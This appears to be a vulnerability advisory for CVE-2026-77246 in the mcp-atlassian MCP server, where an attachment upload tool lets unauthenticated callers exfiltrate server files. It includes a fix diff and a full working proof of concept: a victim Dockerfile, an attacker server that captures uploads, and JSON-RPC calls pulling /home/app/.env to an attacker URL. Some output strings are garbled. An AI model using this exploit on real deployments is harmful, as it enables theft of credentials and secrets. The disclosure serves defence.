Default configuration enables the attack: READ_ONLY_MODE defaults to false, making write tools (including attachment upload) active by default. HTTP transport is a first-class, documented production deployment mode (README, Helm chart, multi-tenant header-auth design).

Recommended remediation

--- a/src/mcp_atlassian/confluence/attachments.py
+++ b/src/mcp_atlassian/confluence/attachments.py
-            if not os.path.isabs(file_path):
-                file_path = os.path.abspath(file_path)
+            file_path = str(validate_safe_path(file_path))
             filename = os.path.basename(file_path)
-            files = {"file": (filename, open(file_path, "rb"))}
+            with open(file_path, "rb") as file_obj:
+                files = {"file": (filename, file_obj)}
+                response = self.confluence._session.put(
+                    url, headers=headers, files=files, data=data
+                )
-            response = self.confluence._session.put(
-                url, headers=headers, files=files, data=data
-            )

--- a/src/mcp_atlassian/jira/attachments.py
+++ b/src/mcp_atlassian/jira/attachments.py
-            if not os.path.isabs(file_path):
-                file_path = os.path.abspath(file_path)
+            file_path = str(validate_safe_path(file_path))

Additional hardening: reject header-based service URLs before fetcher construction using validate_url_for_ssrf with a strict allowlist, and consider defaulting READ_ONLY_MODE=true for remotely reachable deployments.

PoC

Prerequisites

  • Docker (CLI + daemon) available on the attacker machine.
  • Python 3.x with httpx installed (pip install httpx).
  • The mcp-atlassian repository cloned locally (commit d8bc786 or compatible).

Step 1 — Build the victim image

The Dockerfile at vuln-001/Dockerfile builds the mcp-atlassian server and plants a simulated .env file at /home/app/.env containing fake secrets:

SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3
DB_PASSWORD=pr0duct10n_d4tab4se_p4ss
AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY

docker build -t mcp-atlassian-vuln001 \
  -f vuln-001/Dockerfile \
  /path/to/mcp-atlassian-repo

Step 2 — Run the automated PoC script

The poc.py script orchestrates the full attack:

python3 poc.py \
  --repo /path/to/mcp-atlassian-repo \
  --victim-port 18000 \
  --attacker-port 18888

The script performs the following actions automatically:

  1. Creates a Docker network (poc-vuln001-net).
  2. Starts an attacker HTTP server container (poc-vuln001-attacker, port 18888) that mimics a Confluence REST API and records multipart upload bodies.
  3. Starts the victim MCP server container (poc-vuln001-victim, port 18000) with READ_ONLY_MODE=false and MCP_ALLOWED_URL_DOMAINS=poc-vuln001-attacker.
  4. Sends the following MCP JSON-RPC sequence to http://127.0.0.1:18000/mcp:
# Step 4a — initialize (no Authorization header)
headers = {
    "X-Atlassian-Confluence-Url":            "http://poc-vuln001-attacker:8888",
    "X-Atlassian-Confluence-Personal-Token": "fake-pat-token-for-poc",
}
POST /mcp  {"jsonrpc":"2.0","method":"initialize","id":1,
            "params":{"protocolVersion":"2024-11-05","capabilities":{},
                      "clientInfo":{"name":"vuln001-poc","version":"1.0"}}}

# Step 4b — trigger file exfiltration
POST /mcp  {"jsonrpc":"2.0","method":"tools/call","id":3,
            "params":{"name":"confluence_upload_attachment",
                      "arguments":{"content_id":"123",
                                   "file_path":"/home/app/.env"}}}
  1. Queries http://127.0.0.1:18888/exfil and verifies that the attacker server received the file contents.

Expected result

The attacker server logs and /exfil endpoint confirm receipt of the victim file:

[attacker] *** EXFILTRATED FILE CONTENT START ***
SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3
DB_PASSWORD=pr0duct10n_d4tab4se_p4ss
AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY
[attacker] *** EXFILTRATED FILE CONTENT END ***

Phase 2 result: PASS — file exfiltration confirmed via live Docker PoC.

Impact

Vulnerability class: Unauthenticated server-side file exfiltration through an unvalidated path passed to an MCP attachment upload tool, combined with attacker-controlled service URL injection via HTTP request headers.

Who is impacted:

  • Operators running mcp-atlassian in HTTP transport mode (streamable-http or sse) on a network-reachable endpoint with READ_ONLY_MODE=false (the default). This includes multi-tenant SaaS deployments, internal tooling servers exposed to a broader corporate network, and any cloud-hosted instance.
  • Users whose secrets are stored on the server filesystem are at risk of credential theft — .env files, SSH private keys, cloud provider credentials (~/.aws/credentials), kubeconfig files, TLS certificates, and any other file readable by the process.

Constraints on exploitability:

  • The server must be running in HTTP transport mode (not the default stdio mode).
  • READ_ONLY_MODE must not be set to true.
  • The attacker must be able to reach the /mcp endpoint (adjacent network or internet, depending on deployment).
  • The SSRF domain allowlist (MCP_ALLOWED_URL_DOMAINS) must permit the attacker's hostname, or the attacker must control a public domain that passes the IP blocklist check.

Despite these preconditions, all are met in documented production deployment configurations described in the project's own README and Helm chart.

Reproduction artifacts

Dockerfile

# VULN-001 PoC Victim Image
# Build con: mcp-atlassian repo root (use: docker build -f vuln-001/Dockerfile .)
# Builds the mcp-atlassian server and creates a secret file for exfiltration demonstration.

FROM ghcr.io/astral-sh/uv:python3.13-alpine AS builder

WORKDIR /app
ENV UV_COMPILE_BYTECODE=1
ENV UV_LINK_MODE=copy

# Copy dependency files
COPY pyproject.toml README.md uv.lock ./

# Install dependencies (without the project itself to leverage caching)
RUN --mount=type=cache,target=/root/.cache/uv \
 uv sync --frozen --no-install-project --no-dev --no-editable

# Copy source and install the project
COPY src ./src
RUN --mount=type=cache,target=/root/.cache/uv \
 uv sync --frozen --no-dev --no-editable

# Strip bytecode cache to reduce image size
RUN find /app/.venv -name '__pycache__' -type d -exec rm -rf {} + 2>/dev/null || true && \
 find /app/.venv -name '*.pyc' -delete 2>/dev/null || true

# ── Final Stage ──────────────────────────────────────────────────────────────
FROM python:3.13-alpine

# Create non-root user mirroring a typical prod deployment
RUN adduser -D -h /home/app -s /bin/sh app

# Plant a sensitive file that the PoC will exfiltrate
RUN printf 'SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3\n' > /home/app/.env && \
 printf 'DB_PASSWORD=pr0duct10n_d4tab4se_p4ss\n' >> /home/app/.env && \
 printf 'AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY\n' >> /home/app/.env && \
 chown app:app /home/app/.env

WORKDIR /app
USER app

COPY --from=builder --chown=app:app /app/.venv /app/.venv

ENV PATH="/app/.venv/bin:$PATH"
ENV PYTHONUNBUFFERED=1

# Default: streamable-http on 0.0.0.0:8000 (overridable at runtime)
ENTRYPOINT ["mcp-atlassian"]
CMD ["--transport", "streamable-http", "--port", "8000", "--host", "0.0.0.0"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 PoC — MCP HTTP Client: Server-Local File Exfiltration via
Unvalidated Attachment Upload Path (CWE-200, CVSS 7.4)

Attack chain:
  1. Attacker sends X-Atlassian-Confluence-Url / Personal-Token headers — no
     Authorization header required (unauthenticated PAT path, main.py:584-595).
  2. SSRF check passes because MCP_ALLOWED_URL_DOMAINS whitelists the attacker
     container hostname, bypassing DNS validation (urls.py:107-111).
  3. ConfluenceFetcher is constructed with the attacker-controlled URL
     (dependencies.py:544-545).
  4. confluence_upload_attachment is called with file_path=/home/app/.env —
     the path is absolutized but never validated against a safe root
     (attachments.py:64-79).
  5. The file is opened and PUT-ed as multipart to the attacker server
     (attachments.py:477,490).

Usage:
  python3 poc.py [--repo /path/to/repo] [--victim-port 18000]
                 [--attacker-port 18888] [--no-cleanup]

Requirements on the host running this script:
  - docker (CLI + daemon)
  - python3 with httpx (pip install httpx)
"""

import argparse
import json
import os
import subprocess
import sys
import textwrap
import time

# ── constants ──────────────────────────────────────────────────────────────

SCRIPT_DIR      = os.path.dirname(os.path.abspath(__file__))
DEFAULT_REPO    = os.path.join(
    os.path.dirname(SCRIPT_DIR), "repo"
)
DOCKERFILE_PATH = os.path.join(SCRIPT_DIR, "Dockerfile")

NETWORK_NAME     = "poc-vuln001-net"
VICTIM_NAME      = "poc-vuln001-victim"
ATTACKER_NAME    = "poc-vuln001-attacker"
VICTIM_IMAGE     = "mcp-atlassian-vuln001"
ATTACKER_IMAGE   = "python:3.12-slim"

TARGET_FILE      = "/home/app/.env"   # sensitive file planted in the victim image

# ── attacker server source (injected into the attacker container) ──────────

ATTACKER_SERVER_SRC = textwrap.dedent(r"""
import http.server, json, re, sys, threading

_exfil = []   # captured files

class H(http.server.BaseHTTPRequestHandler):
    def log_message(self, fmt, *a):
        print(f"[attacker-http] {fmt % a}", flush=True)

    # Confluence auth probe — return a minimal valid user object
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        if self.path.rstrip("/") == "/exfil":
            self.wfile.write(json.dumps({"files": _exfil}).encode())
        elif self.path.rstrip("/") == "/ready":
            self.wfile.write(b'{"status":"ok"}')
        else:
            self.wfile.write(json.dumps({
                "key": "attacker-user", "displayName": "Attacker",
                "emailAddress": "attacker@evil.example", "active": True,
                "accountType": "atlassian"
            }).encode())

    def do_PUT(self):  self._recv()
    def do_POST(self): self._recv()

    def _recv(self):
        cl = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(cl) if cl else b""
        ct   = self.headers.get("Content-Type", "")
        print(f"[attacker] {self.command} {self.path}  body={len(body)}b  ct={ct}", flush=True)

        file_data = b""
        if "multipart" in ct and body:
            bm = re.search(r"boundary[=\s]+([\w\-]+)", ct)
            if bm:
                boundary = bm.group(1).encode()
                for part in body.split(b"--" + boundary):
                    if b"\r\n\r\n" not in part:
                        continue
                    hdr, _, data = part.partition(b"\r\n\r\n")
                    if b'name="file"' in hdr or b"filename" in hdr:
                        file_data = data.rstrip(b"\r\n--")
                        break

        if file_data:
            text = file_data.decode(errors="replace")
            print("[attacker] *** EXFILTRATED FILE CONTENT START ***", flush=True)
            print(text[:4096], flush=True)
            print("[attacker] *** EXFILTRATED FILE CONTENT END ***", flush=True)
            _exfil.append({"path": self.path, "content": text[:4096], "size": len(file_data)})
        else:
            print("[attacker] WARNING: no file data found in request", flush=True)

        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(json.dumps({
            "results": [{
                "id": "att-001", "type": "attachment", "title": "exfiltrated",
                "metadata": {"mediaType": "text/plain"},
                "extensions": {"fileSize": len(file_data)}
            }]
        }).encode())

server = http.server.HTTPServer(("0.0.0.0", 8888), H)
print("[attacker] listening on 0.0.0.0:8888", flush=True)
sys.stdout.flush()
server.serve_forever()
""").strip()


# ── helpers ────────────────────────────────────────────────────────────────

def run(cmd: str, **kw):
    r = subprocess.run(cmd, shell=True, capture_output=True, text=True, **kw)
    return r.returncode, r.stdout, r.stderr


def run_ok(cmd: str, label: str = "") -> str:
    rc, out, err = run(cmd)
    if rc != 0:
        tag = f" ({label})" if label else ""
        print(f"[FAIL] Command{tag} exited {rc}:\n  cmd: {cmd}\n  stdout: {out}\n  stderr: {err}", file=sys.stderr)
        sys.exit(1)
    return out


def docker_logs(name: str) -> str:
    _, out, err = run(f"docker logs {name} 2>&1")
    return out + err


def wait_http(url: str, timeout: int = 60, interval: float = 1.5) -> bool:
    import urllib.request
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            with urllib.request.urlopen(url, timeout=3) as r:
                if r.status < 500:
                    return True
        except Exception:
            pass
        time.sleep(interval)
    return False


def cleanup(victim_name: str, attacker_name: str, network: str):
    run(f"docker rm -f {victim_name} {attacker_name} 2>/dev/null")
    run(f"docker network rm {network} 2>/dev/null")


def parse_sse_result(text: str) -> dict | None:
    """Extract the first JSON-RPC result from an SSE or plain-JSON body."""
    for line in text.splitlines():
        line = line.strip()
        if line.startswith("data:"):
            payload = line[5:].strip()
        elif line.startswith("{"):
            payload = line
        else:
            continue
        try:
            obj = json.loads(payload)
            if "result" in obj or "error" in obj:
                return obj
        except json.JSONDecodeError:
            continue
    return None


# ── MCP client (pure stdlib + httpx) ──────────────────────────────────────

def mcp_exploit(victim_url: str, attacker_container_url: str, target_file: str) -> dict:
    """
    Drive the MCP streamable-http protocol to call confluence_upload_attachment
    with an arbitrary file_path.
    Returns a dict with keys: success, session_id, response_text, error.
    """
    import httpx

    service_headers = {
        "X-Atlassian-Confluence-Url":            attacker_container_url,
        "X-Atlassian-Confluence-Personal-Token": "fake-pat-token-for-poc",
    }
    base_headers = {
        **service_headers,
        "Content-Type":  "application/json",
        "Accept":        "application/json, text/event-stream",
    }

    with httpx.Client(timeout=30) as client:
        # ── 1. initialize ──────────────────────────────────────────────
        print(f"[poc] Sending initialize to {victim_url}")
        resp = client.post(victim_url, headers=base_headers, json={
            "jsonrpc": "2.0", "method": "initialize", "id": 1,
            "params": {
                "protocolVersion": "2024-11-05",
                "capabilities": {},
                "clientInfo": {"name": "vuln001-poc", "version": "1.0"},
            }
        })
        if resp.status_code not in (200, 201):
            return {"success": False, "error": f"initialize failed: HTTP {resp.status_code}\n{resp.text[:400]}"}

        session_id = resp.headers.get("mcp-session-id") or resp.headers.get("Mcp-Session-Id")
        print(f"[poc] Session-Id: {session_id}")

        session_headers = {**base_headers}
        if session_id:
            session_headers["Mcp-Session-Id"] = session_id

        # ── 2. notifications/initialized ──────────────────────────────
        client.post(victim_url, headers=session_headers, json={
            "jsonrpc": "2.0", "method": "notifications/initialized"
        })

        # ── 3. tools/list (optional, just for visibility) ─────────────
        try:
            tl = client.post(victim_url, headers=session_headers, json={
                "jsonrpc": "2.0", "method": "tools/list", "id": 2, "params": {}
            })
            tools_obj = parse_sse_result(tl.text) or {}
            if "result" in tools_obj:
                names = [t["name"] for t in tools_obj["result"].get("tools", [])]
                print(f"[poc] Tools available: {names}")
                if "confluence_upload_attachment" not in names:
                    print("[poc] WARNING: confluence_upload_attachment not in tools/list "
                          "(will still attempt tools/call)")
        except Exception as e:
            print(f"[poc] tools/list skipped: {e}")

        # ── 4. tools/call ─────────────────────────────────────────────
        print(f"[poc] Calling confluence_upload_attachment  file_path={target_file}")
        resp2 = client.post(victim_url, headers=session_headers, json={
            "jsonrpc": "2.0", "method": "tools/call", "id": 3,
            "params": {
                "name": "confluence_upload_attachment",
                "arguments": {
                    "content_id": "123",
                    "file_path": target_file,
                }
            }
        }, timeout=30)

        return {
            "success": True,
            "session_id": session_id,
            "status_code": resp2.status_code,
            "response_text": resp2.text[:2000],
            "error": None,
        }


# ── main ──────────────────────────────────────────────────────────────────

def main():
    ap = argparse.ArgumentParser(description="VULN-001 PoC runner")
    ap.add_argument("--repo",          default=DEFAULT_REPO)
    ap.add_argument("--victim-port",   type=int, default=18000)
    ap.add_argument("--attacker-port", type=int, default=18888)
    ap.add_argument("--no-cleanup",    action="store_true")
    args = ap.parse_args()

    repo_path     = os.path.abspath(args.repo)
    victim_port   = args.victim_port
    attacker_port = args.attacker_port

    print("=" * 60)
    print("VULN-001 PoC — MCP File Exfiltration via Attachment Upload")
    print("=" * 60)
    print(f"Repo:          {repo_path}")
    print(f"Dockerfile:    {DOCKERFILE_PATH}")
    print(f"Victim port:   {victim_port}")
    print(f"Attacker port: {attacker_port}")
    print()

    # ── 0. pre-flight ─────────────────────────────────────────────────
    cleanup(VICTIM_NAME, ATTACKER_NAME, NETWORK_NAME)

    # ── 1. build victim image ─────────────────────────────────────────
    print("[*] Building victim image (this may take a few minutes)...")
    rc, out, err = run(
        f"docker build --no-cache -t {VICTIM_IMAGE} "
        f"-f {DOCKERFILE_PATH} {repo_path}"
    )
    if rc != 0:
        print(f"[FAIL] docker build failed:\n{err[-3000:]}", file=sys.stderr)
        sys.exit(1)
    print(f"[+] Victim image built: {VICTIM_IMAGE}")

    # ── 2. create network ─────────────────────────────────────────────
    print("[*] Creating Docker network...")
    run_ok(f"docker network create {NETWORK_NAME}", "network create")
    print(f"[+] Network created: {NETWORK_NAME}")

    try:
        # ── 3. start attacker container ────────────────────────────────
        print("[*] Starting attacker HTTP server...")
        attacker_code_escaped = ATTACKER_SERVER_SRC.replace("'", "'\"'\"'")
        run_ok(
            f"docker run -d "
            f"--network {NETWORK_NAME} "
            f"--name {ATTACKER_NAME} "
            f"-p {attacker_port}:8888 "
            f"{ATTACKER_IMAGE} "
            f"python3 -c '{attacker_code_escaped}'",
            "start attacker"
        )

        if not wait_http(f"http://127.0.0.1:{attacker_port}/ready", timeout=30):
            print("[FAIL] Attacker server did not start in time")
            print(docker_logs(ATTACKER_NAME))
            sys.exit(1)
        print(f"[+] Attacker server ready on port {attacker_port}")

        # ── 4. start victim container ──────────────────────────────────
        print("[*] Starting victim MCP server...")
        run_ok(
            f"docker run -d "
            f"--network {NETWORK_NAME} "
            f"--name {VICTIM_NAME} "
            f"-p {victim_port}:8000 "
            f"-e TRANSPORT=streamable-http "
            f"-e MCP_ALLOWED_URL_DOMAINS={ATTACKER_NAME} "
            f"-e READ_ONLY_MODE=false "
            f"-e MCP_LOGGING_STDOUT=true "
            f"-e MCP_VERBOSE=true "
            f"{VICTIM_IMAGE} "
            f"--transport streamable-http --port 8000 --host 0.0.0.0",
            "start victim"
        )

        print("[*] Waiting for victim MCP server to be ready...")
        if not wait_http(f"http://127.0.0.1:{victim_port}/healthz", timeout=60):
            print("[FAIL] Victim server did not start in time")
            print(docker_logs(VICTIM_NAME))
            sys.exit(1)
        print(f"[+] Victim MCP server ready on port {victim_port}")

        # ── 5. run the exploit ─────────────────────────────────────────
        print()
        print("[*] Launching MCP exploit...")
        victim_mcp_url        = f"http://127.0.0.1:{victim_port}/mcp"
        attacker_container_url = f"http://{ATTACKER_NAME}:8888"

        result = mcp_exploit(victim_mcp_url, attacker_container_url, TARGET_FILE)

        if not result["success"]:
            print(f"[FAIL] MCP exploit error: {result['error']}")
            print("Victim logs:\n", docker_logs(VICTIM_NAME)[-2000:])
            sys.exit(1)

        print(f"[poc] tools/call HTTP {result['status_code']}")
        print(f"[poc] Response:\n{result['response_text']}")

        # ── 6. verify exfiltration ─────────────────────────────────────
        time.sleep(2)

        import urllib.request
        with urllib.request.urlopen(
            f"http://127.0.0.1:{attacker_port}/exfil", timeout=5
        ) as r:
            exfil_data = json.loads(r.read())

        attacker_raw_logs = docker_logs(ATTACKER_NAME)
        print()
        print("Attacker server logs:")
        print(attacker_raw_logs[-4000:])

        files = exfil_data.get("files", [])
        confirmed = bool(files) or (
            "EXFILTRATED FILE CONTENT" in attacker_raw_logs
            and "SECRET_DEPLOY_KEY" in attacker_raw_logs
        )

        evidence_snippet = ""
        if files:
            evidence_snippet = files[0].get("content", "")[:500]
        elif "EXFILTRATED FILE CONTENT START" in attacker_raw_logs:
            start = attacker_raw_logs.find("EXFILTRATED FILE CONTENT START") + len("EXFILTRATED FILE CONTENT START") + 4
            end   = attacker_raw_logs.find("EXFILTRATED FILE CONTENT END", start)
            evidence_snippet = attacker_raw_logs[start:end].strip()[:500]

        print()
        if confirmed:
            print("[PASS] file leak confirmed — attacker servertext victim containertext sensitive filetext receivedtext.")
            print(f"[PASS] Evidence snippet:\n{evidence_snippet}")
        else:
            print("[FAIL] file leak evidencetext checktext text.")
            print("attacker_logs:", attacker_raw_logs[-1000:])

        # ── 7. write phase2_result.json ────────────────────────────────
        phase2 = {
            "passed": confirmed,
            "verdict": "PASS" if confirmed else "FAIL",
            "reason": (
                "MCP HTTP clienttext X-Atlassian-Confluence-Url / Personal-Token headeronlyas "
                "without authentication ConfluenceFetchertext createtext, confluence_upload_attachment tooltext "
                "file_path=/home/app/.envtext path verification text open() and attacker servertext senddone. "
                "attachments.py:477 open(file_path,'rb')text sensitive filetext text multipart PUT requesttext containsdone."
                if confirmed else
                "attacker servertext file receivedtext checktext could not — logtext referenceand failure cause text required."
            ),
            "build_command": (
                f"docker build -t {VICTIM_IMAGE} "
                f"-f {DOCKERFILE_PATH} {repo_path}"
            ),
            "run_command": (
                f"docker network create {NETWORK_NAME} && "
                f"docker run -d --network {NETWORK_NAME} --name {ATTACKER_NAME} "
                f"-p {attacker_port}:8888 {ATTACKER_IMAGE} python3 -c '<attacker_server_src>' && "
                f"docker run -d --network {NETWORK_NAME} --name {VICTIM_NAME} "
                f"-p {victim_port}:8000 "
                f"-e TRANSPORT=streamable-http "
                f"-e MCP_ALLOWED_URL_DOMAINS={ATTACKER_NAME} "
                f"-e READ_ONLY_MODE=false "
                f"{VICTIM_IMAGE} --transport streamable-http --port 8000 --host 0.0.0.0"
            ),
            "poc_command": (
                f"python3 {os.path.basename(__file__)} "
                f"--repo {repo_path} "
                f"--victim-port {victim_port} "
                f"--attacker-port {attacker_port}"
            ),
            "evidence": evidence_snippet or attacker_raw_logs[-500:],
            "artifacts": ["Dockerfile", "poc.py"],
        }

        result_path = os.path.join(SCRIPT_DIR, "phase2_result.json")
        with open(result_path, "w") as f:
            json.dump(phase2, f, indent=2, ensure_ascii=False)
        print(f"\n[*] phase2_result.json written: {result_path}")

    finally:
        if not args.no_cleanup:
            print("[*] Cleaning up containers and network...")
            cleanup(VICTIM_NAME, ATTACKER_NAME, NETWORK_NAME)
            print("[*] Cleanup done.")
        else:
            print(f"[*] --no-cleanup: containers left running ({VICTIM_NAME}, {ATTACKER_NAME})")


if __name__ == "__main__":
    main()
Severity
7.4 (High)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-atlassian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77246"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-22",
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:34:45Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `mcp-atlassian` server exposes an MCP tool (`confluence_upload_attachment` and the Jira attachment variant) that accepts an arbitrary server-side file path and opens it for upload without any path validation. When the server is deployed in HTTP transport mode (`streamable-http` or `sse`), a remote, unauthenticated attacker can supply attacker-controlled Atlassian service headers (`X-Atlassian-Confluence-Url` / `X-Atlassian-Confluence-Personal-Token`) to redirect the upload to an attacker-controlled endpoint, then pass an arbitrary `file_path` (e.g. `/etc/passwd`, `~/.env`, SSH private keys, cloud credentials) to exfiltrate any file readable by the server process. No prior account, session token, or `Authorization` header is required. The vulnerability was confirmed through both static code analysis (Phase 1) and a live Docker-based proof-of-concept (Phase 2).\n\n---\n\n### Details\n\n**Data flow (source \u2192 sink)**\n\n| Step | Location | Role |\n|------|----------|------|\n| 1 | `src/mcp_atlassian/servers/main.py:498-504` | Middleware extracts `X-Atlassian-Confluence-Url` and `X-Atlassian-Confluence-Personal-Token` from incoming HTTP request headers. |\n| 2 | `src/mcp_atlassian/servers/main.py:584-595` | When no `Authorization` header is present but service headers are, `user_atlassian_auth_type` is set to `\"pat\"`, effectively bypassing authentication requirements. |\n| 3 | `src/mcp_atlassian/utils/urls.py:97-104` | `validate_url_for_ssrf` blocks only `localhost`, RFC 1918 private ranges, and a small set of metadata hostnames. An attacker-controlled public domain or an allow-listed Docker container hostname (`MCP_ALLOWED_URL_DOMAINS`) passes this check. |\n| 4 | `src/mcp_atlassian/servers/dependencies.py:544-545` | The attacker-controlled URL is injected directly as `url=` into `ConfluenceConfig`, constructing a `ConfluenceFetcher` pointed at the attacker\u0027s server. |\n| 5 | `src/mcp_atlassian/servers/confluence.py:1358-1361` | The MCP tool argument `file_path` is forwarded to `confluence_fetcher.upload_attachment()` without any sanitization. |\n| 6 | `src/mcp_atlassian/confluence/attachments.py:64-79` | The path is converted to an absolute path via `os.path.abspath()` and checked for existence only. `validate_safe_path()` \u2014 already used on download paths \u2014 is **never called** here, leaving no directory restriction in place. |\n| 7 | `src/mcp_atlassian/confluence/attachments.py:477` | **Sink**: `files = {\"file\": (filename, open(file_path, \"rb\"))}` \u2014 the file is opened and sent as multipart to the attacker\u0027s server. |\n| 8 | `src/mcp_atlassian/jira/attachments.py:374-386` | Parallel Jira sink: same `os.path.abspath()` pattern, no `validate_safe_path`, then `open(file_path, \"rb\")`. |\n\n**Key code evidence**\n\n```python\n# src/mcp_atlassian/confluence/attachments.py\n64: if not os.path.isabs(file_path):\n65:     file_path = os.path.abspath(file_path)\n68: if not os.path.exists(file_path):\n77: filename = os.path.basename(file_path)\n477: files = {\"file\": (filename, open(file_path, \"rb\"))}   # \u2190 sink\n```\n\n```python\n# src/mcp_atlassian/jira/attachments.py\n374: if not os.path.isabs(file_path):\n375:     file_path = os.path.abspath(file_path)\n386: with open(file_path, \"rb\") as file:                    # \u2190 sink\n387:     attachment = self.jira.add_attachment(\n```\n\n**Why `validate_safe_path` is absent**: The function exists in the codebase and is correctly applied to download/read operations, but it was not applied to the upload path. This asymmetry means an attacker can read any file the server process can access, even though the intent was clearly to restrict path access.\n\n**Default configuration enables the attack**: `READ_ONLY_MODE` defaults to `false`, making write tools (including attachment upload) active by default. HTTP transport is a first-class, documented production deployment mode (README, Helm chart, multi-tenant header-auth design).\n\n**Recommended remediation**\n\n```diff\n--- a/src/mcp_atlassian/confluence/attachments.py\n+++ b/src/mcp_atlassian/confluence/attachments.py\n-            if not os.path.isabs(file_path):\n-                file_path = os.path.abspath(file_path)\n+            file_path = str(validate_safe_path(file_path))\n             filename = os.path.basename(file_path)\n-            files = {\"file\": (filename, open(file_path, \"rb\"))}\n+            with open(file_path, \"rb\") as file_obj:\n+                files = {\"file\": (filename, file_obj)}\n+                response = self.confluence._session.put(\n+                    url, headers=headers, files=files, data=data\n+                )\n-            response = self.confluence._session.put(\n-                url, headers=headers, files=files, data=data\n-            )\n\n--- a/src/mcp_atlassian/jira/attachments.py\n+++ b/src/mcp_atlassian/jira/attachments.py\n-            if not os.path.isabs(file_path):\n-                file_path = os.path.abspath(file_path)\n+            file_path = str(validate_safe_path(file_path))\n```\n\nAdditional hardening: reject header-based service URLs before fetcher construction using `validate_url_for_ssrf` with a strict allowlist, and consider defaulting `READ_ONLY_MODE=true` for remotely reachable deployments.\n\n---\n\n### PoC\n\n**Prerequisites**\n\n- Docker (CLI + daemon) available on the attacker machine.\n- Python 3.x with `httpx` installed (`pip install httpx`).\n- The `mcp-atlassian` repository cloned locally (commit `d8bc786` or compatible).\n\n**Step 1 \u2014 Build the victim image**\n\nThe `Dockerfile` at `vuln-001/Dockerfile` builds the `mcp-atlassian` server and plants a simulated `.env` file at `/home/app/.env` containing fake secrets:\n\n```\nSECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3\nDB_PASSWORD=pr0duct10n_d4tab4se_p4ss\nAWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY\n```\n\n```bash\ndocker build -t mcp-atlassian-vuln001 \\\n  -f vuln-001/Dockerfile \\\n  /path/to/mcp-atlassian-repo\n```\n\n**Step 2 \u2014 Run the automated PoC script**\n\nThe `poc.py` script orchestrates the full attack:\n\n```bash\npython3 poc.py \\\n  --repo /path/to/mcp-atlassian-repo \\\n  --victim-port 18000 \\\n  --attacker-port 18888\n```\n\nThe script performs the following actions automatically:\n\n1. Creates a Docker network (`poc-vuln001-net`).\n2. Starts an **attacker HTTP server** container (`poc-vuln001-attacker`, port `18888`) that mimics a Confluence REST API and records multipart upload bodies.\n3. Starts the **victim MCP server** container (`poc-vuln001-victim`, port `18000`) with `READ_ONLY_MODE=false` and `MCP_ALLOWED_URL_DOMAINS=poc-vuln001-attacker`.\n4. Sends the following MCP JSON-RPC sequence to `http://127.0.0.1:18000/mcp`:\n\n```python\n# Step 4a \u2014 initialize (no Authorization header)\nheaders = {\n    \"X-Atlassian-Confluence-Url\":            \"http://poc-vuln001-attacker:8888\",\n    \"X-Atlassian-Confluence-Personal-Token\": \"fake-pat-token-for-poc\",\n}\nPOST /mcp  {\"jsonrpc\":\"2.0\",\"method\":\"initialize\",\"id\":1,\n            \"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\n                      \"clientInfo\":{\"name\":\"vuln001-poc\",\"version\":\"1.0\"}}}\n\n# Step 4b \u2014 trigger file exfiltration\nPOST /mcp  {\"jsonrpc\":\"2.0\",\"method\":\"tools/call\",\"id\":3,\n            \"params\":{\"name\":\"confluence_upload_attachment\",\n                      \"arguments\":{\"content_id\":\"123\",\n                                   \"file_path\":\"/home/app/.env\"}}}\n```\n\n5. Queries `http://127.0.0.1:18888/exfil` and verifies that the attacker server received the file contents.\n\n**Expected result**\n\nThe attacker server logs and `/exfil` endpoint confirm receipt of the victim file:\n\n```\n[attacker] *** EXFILTRATED FILE CONTENT START ***\nSECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3\nDB_PASSWORD=pr0duct10n_d4tab4se_p4ss\nAWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY\n[attacker] *** EXFILTRATED FILE CONTENT END ***\n```\n\n**Phase 2 result**: PASS \u2014 file exfiltration confirmed via live Docker PoC.\n\n---\n\n### Impact\n\n**Vulnerability class**: Unauthenticated server-side file exfiltration through an unvalidated path passed to an MCP attachment upload tool, combined with attacker-controlled service URL injection via HTTP request headers.\n\n**Who is impacted**:\n\n- **Operators** running `mcp-atlassian` in HTTP transport mode (`streamable-http` or `sse`) on a network-reachable endpoint with `READ_ONLY_MODE=false` (the default). This includes multi-tenant SaaS deployments, internal tooling servers exposed to a broader corporate network, and any cloud-hosted instance.\n- **Users** whose secrets are stored on the server filesystem are at risk of credential theft \u2014 `.env` files, SSH private keys, cloud provider credentials (`~/.aws/credentials`), kubeconfig files, TLS certificates, and any other file readable by the process.\n\n**Constraints on exploitability**:\n\n- The server must be running in HTTP transport mode (not the default `stdio` mode).\n- `READ_ONLY_MODE` must not be set to `true`.\n- The attacker must be able to reach the `/mcp` endpoint (adjacent network or internet, depending on deployment).\n- The SSRF domain allowlist (`MCP_ALLOWED_URL_DOMAINS`) must permit the attacker\u0027s hostname, 